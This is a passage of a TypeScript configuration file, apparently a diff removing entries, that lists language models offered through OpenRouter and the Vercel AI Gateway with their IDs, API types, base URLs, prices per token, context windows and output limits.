baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "x-ai/grok-4.20": { - id: "x-ai/grok-4.20", - name: "xAI: Grok 4.20", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "x-ai/grok-code-fast-1": { - id: "x-ai/grok-code-fast-1", - name: "xAI: Grok Code Fast 1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 1.5, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 10000, - } satisfies Model<"openai-completions">, - "xiaomi/mimo-v2-flash": { - id: "xiaomi/mimo-v2-flash", - name: "Xiaomi: MiMo-V2-Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.09, - output: 0.29, - cacheRead: 0.045, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "xiaomi/mimo-v2-omni": { - id: "xiaomi/mimo-v2-omni", - name: "Xiaomi: MiMo-V2-Omni", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "xiaomi/mimo-v2-pro": { - id: "xiaomi/mimo-v2-pro", - name: "Xiaomi: MiMo-V2-Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "z-ai/glm-4-32b": { - id: "z-ai/glm-4-32b", - name: "Z.ai: GLM 4 32B ", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.09999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.5": { - id: "z-ai/glm-4.5", - name: "Z.ai: GLM 4.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 98304, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.5-air": { - id: "z-ai/glm-4.5-air", - name: "Z.ai: GLM 4.5 Air", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.13, - output: 0.85, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 98304, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.5-air:free": { - id: "z-ai/glm-4.5-air:free", - name: "Z.ai: GLM 4.5 Air (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 96000, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.5v": { - id: "z-ai/glm-4.5v", - name: "Z.ai: GLM 4.5V", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 1.7999999999999998, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 65536, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.6": { - id: "z-ai/glm-4.6", - name: "Z.ai: GLM 4.6", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.39, - output: 1.9, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 204800, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.6v": { - id: "z-ai/glm-4.6v", - name: "Z.ai: GLM 4.6V", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 0.8999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.7": { - id: "z-ai/glm-4.7", - name: "Z.ai: GLM 4.7", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.39, - output: 1.75, - cacheRead: 0.195, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "z-ai/glm-4.7-flash": { - id: "z-ai/glm-4.7-flash", - name: "Z.ai: GLM 4.7 Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.06, - output: 0.39999999999999997, - cacheRead: 0.0100000002, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "z-ai/glm-5": { - id: "z-ai/glm-5", - name: "Z.ai: GLM 5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 1.9, - cacheRead: 0.119, - cacheWrite: 0, - }, - contextWindow: 80000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "z-ai/glm-5-turbo": { - id: "z-ai/glm-5-turbo", - name: "Z.ai: GLM 5 Turbo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "z-ai/glm-5.1": { - id: "z-ai/glm-5.1", - name: "Z.ai: GLM 5.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.95, - output: 3.15, - cacheRead: 0.475, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "z-ai/glm-5v-turbo": { - id: "z-ai/glm-5v-turbo", - name: "Z.ai: GLM 5V Turbo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - }, - "vercel-ai-gateway": { - "alibaba/qwen-3-14b": { - id: "alibaba/qwen-3-14b", - name: "Qwen3-14B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.12, - output: 0.24, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen-3-235b": { - id: "alibaba/qwen-3-235b", - name: "Qwen3 235B A22b Instruct 2507", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.6, - output: 1.2, - cacheRead: 0.6, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 40000, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen-3-30b": { - id: "alibaba/qwen-3-30b", - name: "Qwen3-30B-A3B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.08, - output: 0.29, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 40960, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen-3-32b": { - id: "alibaba/qwen-3-32b", - name: "Qwen 3 32B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.16, - output: 0.64, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-235b-a22b-thinking": { - id: "alibaba/qwen3-235b-a22b-thinking", - name: "Qwen3 235B A22B Thinking 2507", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.22999999999999998, - output: 2.3, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 262114, - maxTokens: 262114, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-coder": { - id: "alibaba/qwen3-coder", - name: "Qwen3 Coder 480B A35B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 1.5, - output: 7.5, - cacheRead: 0.3, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-coder-30b-a3b": { - id: "alibaba/qwen3-coder-30b-a3b", - name: "Qwen 3 Coder 30B A3B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-coder-next": { - id: "alibaba/qwen3-coder-next", - name: "Qwen3 Coder Next", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.5, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-coder-plus": { - id: "alibaba/qwen3-coder-plus", - name: "Qwen3 Coder Plus", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 5, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-max": { - id: "alibaba/qwen3-max", - name: "Qwen3 Max", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 1.2, - output: 6, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-max-preview": { - id: "alibaba/qwen3-max-preview", - name: "Qwen3 Max Preview", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 1.2, - output: 6, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-max-thinking": { - id: "alibaba/qwen3-max-thinking", - name: "Qwen 3 Max Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.2, - output: 6, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3-vl-thinking": { - id: "alibaba/qwen3-vl-thinking", - name: "Qwen3 VL 235B A22B Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3.5-flash": { - id: "alibaba/qwen3.5-flash", - name: "Qwen 3.5 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.001, - cacheWrite: 0.125, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3.5-plus": { - id: "alibaba/qwen3.5-plus", - name: "Qwen 3.5 Plus", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 2.4, - cacheRead: 0.04, - cacheWrite: 0.5, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "alibaba/qwen3.6-plus": { - id: "alibaba/qwen3.6-plus", - name: "Qwen 3.6 Plus", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.09999999999999999, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-3-haiku": { - id: "anthropic/claude-3-haiku", - name: "Claude 3 Haiku", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.25, - cacheRead: 0.03, - cacheWrite: 0.3, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-3.5-haiku": { - id: "anthropic/claude-3.5-haiku", - name: "Claude 3.5 Haiku", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.7999999999999999, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-3.7-sonnet": { - id: "anthropic/claude-3.7-sonnet", - name: "Claude 3.7 Sonnet", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-haiku-4.5": { - id: "anthropic/claude-haiku-4.5", - name: "Claude Haiku 4.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.09999999999999999, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-opus-4": { - id: "anthropic/claude-opus-4", - name: "Claude Opus 4", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-opus-4.1": { - id: "anthropic/claude-opus-4.1", - name: "Claude Opus 4.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-opus-4.5": { - id: "anthropic/claude-opus-4.5", - name: "Claude Opus 4.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-opus-4.6": { - id: "anthropic/claude-opus-4.6", - name: "Claude Opus 4.6", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-opus-4.7": { - id: "anthropic/claude-opus-4.7", - name: "Claude Opus 4.7", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-sonnet-4": { - id: "anthropic/claude-sonnet-4", - name: "Claude Sonnet 4", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-sonnet-4.5": { - id: "anthropic/claude-sonnet-4.5", - name: "Claude Sonnet 4.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "anthropic/claude-sonnet-4.6": { - id: "anthropic/claude-sonnet-4.6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "arcee-ai/trinity-large-preview": { - id: "arcee-ai/trinity-large-preview", - name: "Trinity Large Preview", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.25, - output: 1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 131000, - } satisfies Model<"anthropic-messages">, - "arcee-ai/trinity-large-thinking": { - id: "arcee-ai/trinity-large-thinking", - name: "Trinity Large Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.25, - output: 0.8999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262100, - maxTokens: 80000, - } satisfies Model<"anthropic-messages">, - "bytedance/seed-1.6": { - id: "bytedance/seed-1.6", - name: "Seed 1.6", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "cohere/command-a": { - id: "cohere/command-a", - name: "Command A", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8000, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-r1": { - id: "deepseek/deepseek-r1", - name: "DeepSeek-R1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.35, - output: 5.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-v3": { - id: "deepseek/deepseek-v3", - name: "DeepSeek V3 0324", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.77, - output: 0.77, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-v3.1": { - id: "deepseek/deepseek-v3.1", - name: "DeepSeek-V3.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.56, - output: 1.68, - cacheRead: 0.28, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-v3.1-terminus": { - id: "deepseek/deepseek-v3.1-terminus", - name: "DeepSeek V3.1 Terminus", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.27, - output: 1, - cacheRead: 0.135, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-v3.2": { - id: "deepseek/deepseek-v3.2", - name: "DeepSeek V3.2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.28, - output: 0.42, - cacheRead: 0.028, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8000, - } satisfies Model<"anthropic-messages">, - "deepseek/deepseek-v3.2-thinking": { - id: "deepseek/deepseek-v3.2-thinking", - name: "DeepSeek V3.2 Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.28, - output: 0.42, - cacheRead: 0.028, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "google/gemini-2.0-flash": { - id: "google/gemini-2.0-flash", - name: "Gemini 2.0 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "google/gemini-2.0-flash-lite": { - id: "google/gemini-2.0-flash-lite", - name: "Gemini 2.0 Flash Lite", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "google/gemini-2.5-flash": { - id: "google/gemini-2.5-flash", - name: "Gemini 2.5 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "google/gemini-2.5-flash-lite": { - id: "google/gemini-2.5-flash-lite", - name: "Gemini 2.5 Flash Lite", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "google/gemini-2.5-pro": { - id: "google/gemini-2.5-pro", - name: "Gemini 2.5 Pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "google/gemini-3-flash": { - id: "google/gemini-3-flash", - name: "Gemini 3 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65000, - } satisfies Model<"anthropic-messages">, - "google/gemini-3-pro-preview": { - id: "google/gemini-3-pro-preview", - name: "Gemini 3 Pro Preview", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "google/gemini-3.1-flash-lite-preview": { - id: "google/gemini-3.1-flash-lite-preview", - name: "Gemini 3.1 Flash Lite Preview", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.5, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65000, - } satisfies Model<"anthropic-messages">, - "google/gemini-3.1-pro-preview": { - id: "google/gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "google/gemma-4-26b-a4b-it": { - id: "google/gemma-4-26b-a4b-it", - name: "Gemma 4 26B A4B IT", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.13, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "google/gemma-4-31b-it": { - id: "google/gemma-4-31b-it", - name: "Gemma 4 31B IT", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.14, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "inception/mercury-2": { - id: "inception/mercury-2", - name: "Mercury 2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.25, - output: 0.75, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "inception/mercury-coder-small": { - id: "inception/mercury-coder-small", - name: "Mercury Coder Small Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.25, - output: 1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "kwaipilot/kat-coder-pro-v2": { - id: "kwaipilot/kat-coder-pro-v2", - name: "Kat Coder Pro V2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "meituan/longcat-flash-chat": { - id: "meituan/longcat-flash-chat", - name: "LongCat Flash Chat", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - 